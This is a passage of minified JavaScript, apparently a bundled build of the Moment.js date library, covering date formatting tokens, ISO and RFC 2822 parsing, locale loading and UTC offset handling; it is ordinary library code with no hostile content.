P(r.apply(this,arguments),t[1],t[2])}),i&&(Y[i]=function(){return this.localeData().ordinal(r.apply(this,arguments),e)})}function j(e,t){return e.isValid()?(t=N(t,e.localeData()),O[t]=O[t]||function(e){var t,i,n,r=e.match(A);for(t=0,i=r.length;t<i;t++)Y[r[t]]?r[t]=Y[r[t]]:r[t]=(n=r[t]).match(/\[[\s\S]/)?n.replace(/^\[|\]$/g,""):n.replace(/\\/g,"");return function(t){var n,s="";for(n=0;n<i;n++)s+=C(r[n])?r[n].call(t,e):r[n];return s}}(t),O[t](e)):e.localeData().invalidDate()}function N(e,t){var i=5;function n(e){return t.longDateFormat(e)||e}for(I.lastIndex=0;i>=0&&I.test(e);)e=e.replace(I,n),I.lastIndex=0,i-=1;return e}var R={D:"date",dates:"date",date:"date",d:"day",days:"day",day:"day",e:"weekday",weekdays:"weekday",weekday:"weekday",E:"isoWeekday",isoweekdays:"isoWeekday",isoweekday:"isoWeekday",DDD:"dayOfYear",dayofyears:"dayOfYear",dayofyear:"dayOfYear",h:"hour",hours:"hour",hour:"hour",ms:"millisecond",milliseconds:"millisecond",millisecond:"millisecond",m:"minute",minutes:"minute",minute:"minute",M:"month",months:"month",month:"month",Q:"quarter",quarters:"quarter",quarter:"quarter",s:"second",seconds:"second",second:"second",gg:"weekYear",weekyears:"weekYear",weekyear:"weekYear",GG:"isoWeekYear",isoweekyears:"isoWeekYear",isoweekyear:"isoWeekYear",w:"week",weeks:"week",week:"week",W:"isoWeek",isoweeks:"isoWeek",isoweek:"isoWeek",y:"year",years:"year",year:"year"};function H(e){return"string"==typeof e?R[e]||R[e.toLowerCase()]:void 0}function F(e){var t,i,n={};for(i in e)o(e,i)&&(t=H(i))&&(n[t]=e[i]);return n}var U,B={date:9,day:11,weekday:11,isoWeekday:11,dayOfYear:4,hour:13,millisecond:16,minute:14,month:8,quarter:7,second:15,weekYear:1,isoWeekYear:1,week:5,isoWeek:5,year:1},W=/\d/,z=/\d\d/,q=/\d{3}/,V=/\d{4}/,J=/[+-]?\d{6}/,G=/\d\d?/,K=/\d\d\d\d?/,X=/\d\d\d\d\d\d?/,Z=/\d{1,3}/,Q=/\d{1,4}/,ee=/[+-]?\d{1,6}/,te=/\d+/,ie=/[+-]?\d+/,ne=/Z|[+-]\d\d:?\d\d/gi,re=/Z|[+-]\d\d(?::?\d\d)?/gi,se=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,ae=/^[1-9]\d?/,oe=/^([1-9]\d|\d)/;function le(e,t,i){U[e]=C(t)?t:function(e,n){return e&&i?i:t}}function ue(e,t){return o(U,e)?U[e](t._strict,t._locale):new RegExp(ce(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(e,t,i,n,r){return t||i||n||r}))))}function ce(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function de(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function he(e){var t=+e,i=0;return 0!==t&&isFinite(t)&&(i=de(t)),i}U={};var pe={};function fe(e,t){var i,n,r=t;for("string"==typeof e&&(e=[e]),c(t)&&(r=function(e,i){i[t]=he(e)}),n=e.length,i=0;i<n;i++)pe[e[i]]=r}function me(e,t){fe(e,(function(e,i,n,r){n._w=n._w||{},t(e,n._w,n,r)}))}function ge(e,t,i){null!=t&&o(pe,e)&&pe[e](t,i._a,i,e)}function _e(e){return e%4==0&&e%100!=0||e%400==0}var ve=0,ye=1,be=2,we=3,Te=4,ke=5,Se=6,Me=7,xe=8;function Le(e){return _e(e)?366:365}$("Y",0,0,(function(){var e=this.year();return e<=9999?P(e,4):"+"+e})),$(0,["YY",2],0,(function(){return this.year()%100})),$(0,["YYYY",4],0,"year"),$(0,["YYYYY",5],0,"year"),$(0,["YYYYYY",6,!0],0,"year"),le("Y",ie),le("YY",G,z),le("YYYY",Q,V),le("YYYYY",ee,J),le("YYYYYY",ee,J),fe(["YYYYY","YYYYYY"],ve),fe("YYYY",(function(e,t){t[ve]=2===e.length?r.parseTwoDigitYear(e):he(e)})),fe("YY",(function(e,t){t[ve]=r.parseTwoDigitYear(e)})),fe("Y",(function(e,t){t[ve]=parseInt(e,10)})),r.parseTwoDigitYear=function(e){return he(e)+(he(e)>68?1900:2e3)};var Ce,De=Ee("FullYear",!0);function Ee(e,t){return function(i){return null!=i?(Ae(this,e,i),r.updateOffset(this,t),this):Pe(this,e)}}function Pe(e,t){if(!e.isValid())return NaN;var i=e._d,n=e._isUTC;switch(t){case"Milliseconds":return n?i.getUTCMilliseconds():i.getMilliseconds();case"Seconds":return n?i.getUTCSeconds():i.getSeconds();case"Minutes":return n?i.getUTCMinutes():i.getMinutes();case"Hours":return n?i.getUTCHours():i.getHours();case"Date":return n?i.getUTCDate():i.getDate();case"Day":return n?i.getUTCDay():i.getDay();case"Month":return n?i.getUTCMonth():i.getMonth();case"FullYear":return n?i.getUTCFullYear():i.getFullYear();default:return NaN}}function Ae(e,t,i){var n,r,s,a,o;if(e.isValid()&&!isNaN(i)){switch(n=e._d,r=e._isUTC,t){case"Milliseconds":return void(r?n.setUTCMilliseconds(i):n.setMilliseconds(i));case"Seconds":return void(r?n.setUTCSeconds(i):n.setSeconds(i));case"Minutes":return void(r?n.setUTCMinutes(i):n.setMinutes(i));case"Hours":return void(r?n.setUTCHours(i):n.setHours(i));case"Date":return void(r?n.setUTCDate(i):n.setDate(i));case"FullYear":break;default:return}s=i,a=e.month(),o=29!==(o=e.date())||1!==a||_e(s)?o:28,r?n.setUTCFullYear(s,a,o):n.setFullYear(s,a,o)}}function Ie(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=(t%12+12)%12;return e+=(t-n)/12,1===n?_e(e)?29:28:31-n%7%2}Ce=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},$("M",["MM",2],"Mo",(function(){return this.month()+1})),$("MMM",0,0,(function(e){return this.localeData().monthsShort(this,e)})),$("MMMM",0,0,(function(e){return this.localeData().months(this,e)})),le("M",G,ae),le("MM",G,z),le("MMM",(function(e,t){return t.monthsShortRegex(e)})),le("MMMM",(function(e,t){return t.monthsRegex(e)})),fe(["M","MM"],(function(e,t){t[ye]=he(e)-1})),fe(["MMM","MMMM"],(function(e,t,i,n){var r=i._locale.monthsParse(e,n,i._strict);null!=r?t[ye]=r:m(i).invalidMonth=e}));var Oe="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Ye="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),$e=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,je=se,Ne=se;function Re(e,t,i){var n,r,s,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],n=0;n<12;++n)s=f([2e3,n]),this._shortMonthsParse[n]=this.monthsShort(s,"").toLocaleLowerCase(),this._longMonthsParse[n]=this.months(s,"").toLocaleLowerCase();return i?"MMM"===t?-1!==(r=Ce.call(this._shortMonthsParse,a))?r:null:-1!==(r=Ce.call(this._longMonthsParse,a))?r:null:"MMM"===t?-1!==(r=Ce.call(this._shortMonthsParse,a))||-1!==(r=Ce.call(this._longMonthsParse,a))?r:null:-1!==(r=Ce.call(this._longMonthsParse,a))||-1!==(r=Ce.call(this._shortMonthsParse,a))?r:null}function He(e,t){if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=he(t);else if(!c(t=e.localeData().monthsParse(t)))return e;var i=t,n=e.date();return n=n<29?n:Math.min(n,Ie(e.year(),i)),e._isUTC?e._d.setUTCMonth(i,n):e._d.setMonth(i,n),e}function Fe(e){return null!=e?(He(this,e),r.updateOffset(this,!0),this):Pe(this,"Month")}function Be(){function e(e,t){return t.length-e.length}var t,i,n,r,s=[],a=[],o=[];for(t=0;t<12;t++)i=f([2e3,t]),n=ce(this.monthsShort(i,"")),r=ce(this.months(i,"")),s.push(n),a.push(r),o.push(r),o.push(n);s.sort(e),a.sort(e),o.sort(e),this._monthsRegex=new RegExp("^("+o.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+a.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function Ue(e,t,i,n,r,s,a){var o;return e<100&&e>=0?(o=new Date(e+400,t,i,n,r,s,a),isFinite(o.getFullYear())&&o.setFullYear(e)):o=new Date(e,t,i,n,r,s,a),o}function We(e){var t,i;return e<100&&e>=0?((i=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,i)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function ze(e,t,i){var n=7+t-i;return-(7+We(e,0,n).getUTCDay()-t)%7+n-1}function qe(e,t,i,n,r){var s,a,o=1+7*(t-1)+(7+i-n)%7+ze(e,n,r);return o<=0?a=Le(s=e-1)+o:o>Le(e)?(s=e+1,a=o-Le(e)):(s=e,a=o),{year:s,dayOfYear:a}}function Ve(e,t,i){var n,r,s=ze(e.year(),t,i),a=Math.floor((e.dayOfYear()-s-1)/7)+1;return a<1?n=a+Je(r=e.year()-1,t,i):a>Je(e.year(),t,i)?(n=a-Je(e.year(),t,i),r=e.year()+1):(r=e.year(),n=a),{week:n,year:r}}function Je(e,t,i){var n=ze(e,t,i),r=ze(e+1,t,i);return(Le(e)-n+r)/7}function Ge(e,t){return e.slice(t,7).concat(e.slice(0,t))}$("w",["ww",2],"wo","week"),$("W",["WW",2],"Wo","isoWeek"),le("w",G,ae),le("ww",G,z),le("W",G,ae),le("WW",G,z),me(["w","ww","W","WW"],(function(e,t,i,n){t[n.substr(0,1)]=he(e)})),$("d",0,"do","day"),$("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),$("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),$("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),$("e",0,0,"weekday"),$("E",0,0,"isoWeekday"),le("d",G),le("e",G),le("E",G),le("dd",(function(e,t){return t.weekdaysMinRegex(e)})),le("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),le("dddd",(function(e,t){return t.weekdaysRegex(e)})),me(["dd","ddd","dddd"],(function(e,t,i,n){var r=i._locale.weekdaysParse(e,n,i._strict);null!=r?t.d=r:m(i).invalidWeekday=e})),me(["d","e","E"],(function(e,t,i,n){t[n]=he(e)}));var Ke="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Xe="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Ze="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),Qe=se,et=se,tt=se;function it(e,t,i){var n,r,s,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],n=0;n<7;++n)s=f([2e3,1]).day(n),this._minWeekdaysParse[n]=this.weekdaysMin(s,"").toLocaleLowerCase(),this._shortWeekdaysParse[n]=this.weekdaysShort(s,"").toLocaleLowerCase(),this._weekdaysParse[n]=this.weekdays(s,"").toLocaleLowerCase();return i?"dddd"===t?-1!==(r=Ce.call(this._weekdaysParse,a))?r:null:"ddd"===t?-1!==(r=Ce.call(this._shortWeekdaysParse,a))?r:null:-1!==(r=Ce.call(this._minWeekdaysParse,a))?r:null:"dddd"===t?-1!==(r=Ce.call(this._weekdaysParse,a))||-1!==(r=Ce.call(this._shortWeekdaysParse,a))||-1!==(r=Ce.call(this._minWeekdaysParse,a))?r:null:"ddd"===t?-1!==(r=Ce.call(this._shortWeekdaysParse,a))||-1!==(r=Ce.call(this._weekdaysParse,a))||-1!==(r=Ce.call(this._minWeekdaysParse,a))?r:null:-1!==(r=Ce.call(this._minWeekdaysParse,a))||-1!==(r=Ce.call(this._weekdaysParse,a))||-1!==(r=Ce.call(this._shortWeekdaysParse,a))?r:null}function nt(){function e(e,t){return t.length-e.length}var t,i,n,r,s,a=[],o=[],l=[],u=[];for(t=0;t<7;t++)i=f([2e3,1]).day(t),n=ce(this.weekdaysMin(i,"")),r=ce(this.weekdaysShort(i,"")),s=ce(this.weekdays(i,"")),a.push(n),o.push(r),l.push(s),u.push(n),u.push(r),u.push(s);a.sort(e),o.sort(e),l.sort(e),u.sort(e),this._weekdaysRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function rt(){return this.hours()%12||12}function st(e,t){$(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function at(e,t){return t._meridiemParse}$("H",["HH",2],0,"hour"),$("h",["hh",2],0,rt),$("k",["kk",2],0,(function(){return this.hours()||24})),$("hmm",0,0,(function(){return""+rt.apply(this)+P(this.minutes(),2)})),$("hmmss",0,0,(function(){return""+rt.apply(this)+P(this.minutes(),2)+P(this.seconds(),2)})),$("Hmm",0,0,(function(){return""+this.hours()+P(this.minutes(),2)})),$("Hmmss",0,0,(function(){return""+this.hours()+P(this.minutes(),2)+P(this.seconds(),2)})),st("a",!0),st("A",!1),le("a",at),le("A",at),le("H",G,oe),le("h",G,ae),le("k",G,ae),le("HH",G,z),le("hh",G,z),le("kk",G,z),le("hmm",K),le("hmmss",X),le("Hmm",K),le("Hmmss",X),fe(["H","HH"],we),fe(["k","kk"],(function(e,t,i){var n=he(e);t[we]=24===n?0:n})),fe(["a","A"],(function(e,t,i){i._isPm=i._locale.isPM(e),i._meridiem=e})),fe(["h","hh"],(function(e,t,i){t[we]=he(e),m(i).bigHour=!0})),fe("hmm",(function(e,t,i){var n=e.length-2;t[we]=he(e.substr(0,n)),t[Te]=he(e.substr(n)),m(i).bigHour=!0})),fe("hmmss",(function(e,t,i){var n=e.length-4,r=e.length-2;t[we]=he(e.substr(0,n)),t[Te]=he(e.substr(n,2)),t[ke]=he(e.substr(r)),m(i).bigHour=!0})),fe("Hmm",(function(e,t,i){var n=e.length-2;t[we]=he(e.substr(0,n)),t[Te]=he(e.substr(n))})),fe("Hmmss",(function(e,t,i){var n=e.length-4,r=e.length-2;t[we]=he(e.substr(0,n)),t[Te]=he(e.substr(n,2)),t[ke]=he(e.substr(r))}));var lt,ot=Ee("Hours",!0),ut={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Oe,monthsShort:Ye,week:{dow:0,doy:6},weekdays:Ke,weekdaysMin:Ze,weekdaysShort:Xe,meridiemParse:/[ap]\.?m?\.?/i},ct={},dt={};function ht(e,t){var i,n=Math.min(e.length,t.length);for(i=0;i<n;i+=1)if(e[i]!==t[i])return i;return n}function pt(e){return e?e.toLowerCase().replace("_","-"):e}function ft(t){var n=null;if(void 0===ct[t]&&e&&e.exports&&function(e){return!(!e||!e.match("^[^/\\\\]*$"))}(t))try{n=lt._abbr,i(46700)("./"+t),mt(n)}catch(e){ct[t]=null}return ct[t]}function mt(e,t){var i;return e&&((i=u(t)?_t(e):gt(e,t))?lt=i:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),lt._abbr}function gt(e,t){if(null!==t){var i,n=ut;if(t.abbr=e,null!=ct[e])L("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),n=ct[e]._config;else if(null!=t.parentLocale)if(null!=ct[t.parentLocale])n=ct[t.parentLocale]._config;else{if(null==(i=ft(t.parentLocale)))return dt[t.parentLocale]||(dt[t.parentLocale]=[]),dt[t.parentLocale].push({name:e,config:t}),null;n=i._config}return ct[e]=new E(D(n,t)),dt[e]&&dt[e].forEach((function(e){gt(e.name,e.config)})),mt(e),ct[e]}return delete ct[e],null}function _t(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return lt;if(!s(e)){if(t=ft(e))return t;e=[e]}return function(e){for(var t,i,n,r,s=0;s<e.length;){for(t=(r=pt(e[s]).split("-")).length,i=(i=pt(e[s+1]))?i.split("-"):null;t>0;){if(n=ft(r.slice(0,t).join("-")))return n;if(i&&i.length>=t&&ht(r,i)>=t-1)break;t--}s++}return lt}(e)}function vt(e){var t,i=e._a;return i&&-2===m(e).overflow&&(t=i[ye]<0||i[ye]>11?ye:i[be]<1||i[be]>Ie(i[ve],i[ye])?be:i[we]<0||i[we]>24||24===i[we]&&(0!==i[Te]||0!==i[ke]||0!==i[Se])?we:i[Te]<0||i[Te]>59?Te:i[ke]<0||i[ke]>59?ke:i[Se]<0||i[Se]>999?Se:-1,m(e)._overflowDayOfYear&&(t<ve||t>be)&&(t=be),m(e)._overflowWeeks&&-1===t&&(t=Me),m(e)._overflowWeekday&&-1===t&&(t=xe),m(e).overflow=t),e}var yt=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,bt=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,wt=/Z|[+-]\d\d(?::?\d\d)?/,Tt=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],kt=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],St=/^\/?Date\((-?\d+)/i,Mt=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,xt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function Lt(e){var t,i,n,r,s,a,o=e._i,l=yt.exec(o)||bt.exec(o),u=Tt.length,c=kt.length;if(l){for(m(e).iso=!0,t=0,i=u;t<i;t++)if(Tt[t][1].exec(l[1])){r=Tt[t][0],n=!1!==Tt[t][2];break}if(null==r)return void(e._isValid=!1);if(l[3]){for(t=0,i=c;t<i;t++)if(kt[t][1].exec(l[3])){s=(l[2]||" ")+kt[t][0];break}if(null==s)return void(e._isValid=!1)}if(!n&&null!=s)return void(e._isValid=!1);if(l[4]){if(!wt.exec(l[4]))return void(e._isValid=!1);a="Z"}e._f=r+(s||"")+(a||""),At(e)}else e._isValid=!1}function Ct(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function Dt(e){var t,i,n,r,s,a,o,l,u=Mt.exec(e._i.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));if(u){if(i=u[4],n=u[3],r=u[2],s=u[5],a=u[6],o=u[7],l=[Ct(i),Ye.indexOf(n),parseInt(r,10),parseInt(s,10),parseInt(a,10)],o&&l.push(parseInt(o,10)),t=l,!function(e,t,i){return!e||Xe.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(m(i).weekdayMismatch=!0,i._isValid=!1,!1)}(u[1],t,e))return;e._a=t,e._tzm=function(e,t,i){if(e)return xt[e];if(t)return 0;var n=parseInt(i,10),r=n%100;return(n-r)/100*60+r}(u[8],u[9],u[10]),e._d=We.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),m(e).rfc2822=!0}else e._isValid=!1}function Et(e,t,i){return null!=e?e:null!=t?t:i}function Pt(e){var t,i,n,s,a,o=[];if(!e._d){for(n=function(e){var t=new Date(r.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}(e),e._w&&null==e._a[be]&&null==e._a[ye]&&function(e){var t,i,n,r,s,a,o,l,u;null!=(t=e._w).GG||null!=t.W||null!=t.E?(s=1,a=4,i=Et(t.GG,e._a[ve],Ve(Yt(),1,4).year),n=Et(t.W,1),((r=Et(t.E,1))<1||r>7)&&(l=!0)):(s=e._locale._week.dow,a=e._locale._week.doy,u=Ve(Yt(),s,a),i=Et(t.gg,e._a[ve],u.year),n=Et(t.w,u.week),null!=t.d?((r=t.d)<0||r>6)&&(l=!0):null!=t.e?(r=t.e+s,(t.e<0||t.e>6)&&(l=!0)):r=s),n<1||n>Je(i,s,a)?m(e)._overflowWeeks=!0:null!=l?m(e)._overflowWeekday=!0:(o=qe(i,n,r,s,a),e._a[ve]=o.year,e._dayOfYear=o.dayOfYear)}(e),null!=e._dayOfYear&&(a=Et(e._a[ve],n[ve]),(e._dayOfYear>Le(a)||0===e._dayOfYear)&&(m(e)._overflowDayOfYear=!0),i=We(a,0,e._dayOfYear),e._a[ye]=i.getUTCMonth(),e._a[be]=i.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=o[t]=n[t];for(;t<7;t++)e._a[t]=o[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[we]&&0===e._a[Te]&&0===e._a[ke]&&0===e._a[Se]&&(e._nextDay=!0,e._a[we]=0),e._d=(e._useUTC?We:Ue).apply(null,o),s=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[we]=24),e._w&&void 0!==e._w.d&&e._w.d!==s&&(m(e).weekdayMismatch=!0)}}function At(e){if(e._f!==r.ISO_8601)if(e._f!==r.RFC_2822){e._a=[],m(e).empty=!0;var t,i,n,s,a,o,l,u=""+e._i,c=u.length,d=0;for(l=(n=N(e._f,e._locale).match(A)||[]).length,t=0;t<l;t++)s=n[t],(i=(u.match(ue(s,e))||[])[0])&&((a=u.substr(0,u.indexOf(i))).length>0&&m(e).unusedInput.push(a),u=u.slice(u.indexOf(i)+i.length),d+=i.length),Y[s]?(i?m(e).empty=!1:m(e).unusedTokens.push(s),ge(s,i,e)):e._strict&&!i&&m(e).unusedTokens.push(s);m(e).charsLeftOver=c-d,u.length>0&&m(e).unusedInput.push(u),e._a[we]<=12&&!0===m(e).bigHour&&e._a[we]>0&&(m(e).bigHour=void 0),m(e).parsedDateParts=e._a.slice(0),m(e).meridiem=e._meridiem,e._a[we]=function(e,t,i){var n;return null==i?t:null!=e.meridiemHour?e.meridiemHour(t,i):null!=e.isPM?((n=e.isPM(i))&&t<12&&(t+=12),n||12!==t||(t=0),t):t}(e._locale,e._a[we],e._meridiem),null!==(o=m(e).era)&&(e._a[ve]=e._locale.erasConvertYear(o,e._a[ve])),Pt(e),vt(e)}else Dt(e);else Lt(e)}function It(e){var t=e._i,i=e._f;return e._locale=e._locale||_t(e._l),null===t||void 0===i&&""===t?_({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),T(t)?new w(vt(t)):(d(t)?e._d=t:s(i)?function(e){var t,i,n,r,s,a,o=!1,l=e._f.length;if(0===l)return m(e).invalidFormat=!0,void(e._d=new Date(NaN));for(r=0;r<l;r++)s=0,a=!1,t=b({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[r],At(t),g(t)&&(a=!0),s+=m(t).charsLeftOver,s+=10*m(t).unusedTokens.length,m(t).score=s,o?s<n&&(n=s,i=t):(null==n||s<n||a)&&(n=s,i=t,a&&(o=!0));p(e,i||t)}(e):i?At(e):function(e){var t=e._i;u(t)?e._d=new Date(r.now()):d(t)?e._d=new Date(t.valueOf()):"string"==typeof t?function(e){var t=St.exec(e._i);null===t?(Lt(e),!1===e._isValid&&(delete e._isValid,Dt(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:r.createFromInputFallback(e)))):e._d=new Date(+t[1])}(e):s(t)?(e._a=h(t.slice(0),(function(e){return parseInt(e,10)})),Pt(e)):a(t)?function(e){if(!e._d){var t=F(e._i),i=void 0===t.day?t.date:t.day;e._a=h([t.year,t.month,i,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),Pt(e)}}(e):c(t)?e._d=new Date(t):r.createFromInputFallback(e)}(e),g(e)||(e._d=null),e))}function Ot(e,t,i,n,r){var o,u={};return!0!==t&&!1!==t||(n=t,t=void 0),!0!==i&&!1!==i||(n=i,i=void 0),(a(e)&&l(e)||s(e)&&0===e.length)&&(e=void 0),u._isAMomentObject=!0,u._useUTC=u._isUTC=r,u._l=i,u._i=e,u._f=t,u._strict=n,(o=new w(vt(It(u))))._nextDay&&(o.add(1,"d"),o._nextDay=void 0),o}function Yt(e,t,i,n){return Ot(e,t,i,n,!1)}r.createFromInputFallback=S("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),r.ISO_8601=function(){},r.RFC_2822=function(){};var $t=S("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:_()})),jt=S("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:_()}));function Nt(e,t){var i,n;if(1===t.length&&s(t[0])&&(t=t[0]),!t.length)return Yt();for(i=t[0],n=1;n<t.length;++n)t[n].isValid()&&!t[n][e](i)||(i=t[n]);return i}var Rt=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Ht(e){var t=F(e),i=t.year||0,n=t.quarter||0,r=t.month||0,s=t.week||t.isoWeek||0,a=t.day||0,l=t.hour||0,u=t.minute||0,c=t.second||0,d=t.millisecond||0;this._isValid=function(e){var t,i,n=!1,r=Rt.length;for(t in e)if(o(e,t)&&(-1===Ce.call(Rt,t)||null!=e[t]&&isNaN(e[t])))return!1;for(i=0;i<r;++i)if(e[Rt[i]]){if(n)return!1;parseFloat(e[Rt[i]])!==he(e[Rt[i]])&&(n=!0)}return!0}(t),this._milliseconds=+d+1e3*c+6e4*u+1e3*l*60*60,this._days=+a+7*s,this._months=+r+3*n+12*i,this._data={},this._locale=_t(),this._bubble()}function Ft(e){return e instanceof Ht}function Bt(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function Ut(e,t){$(e,0,0,(function(){var e=this.utcOffset(),i="+";return e<0&&(e=-e,i="-"),i+P(~~(e/60),2)+t+P(~~e%60,2)}))}Ut("Z",":"),Ut("ZZ",""),le("Z",re),le("ZZ",re),fe(["Z","ZZ"],(function(e,t,i){i._useUTC=!0,i._tzm=zt(re,e)}));var Wt=/([\+\-]|\d\d)/gi;function zt(e,t){var i,n,r=(t||"").match(e);return null===r?null:0===(n=60*(i=((r[r.length-1]||[])+"").match(Wt)||["-",0,0])[1]+he(i[2]))?0:"+"===i[0]?n:-n}function qt(e,t){var i,n;return t._isUTC?(i=t.clone(),n=(T(e)||d(e)?e.valueOf():Yt(e).valueOf())-i.valueOf(),i._d.setTime(i._d.valueOf()+n),r.updateOffset(i,!1),i):Yt(e).local()}function Vt(e){return-Math.round(e._d.getTimezoneOffset())}function Jt(){return!!this.isValid()&&this._isUTC&&0===this._offset}r.updateOffset=function(){};var 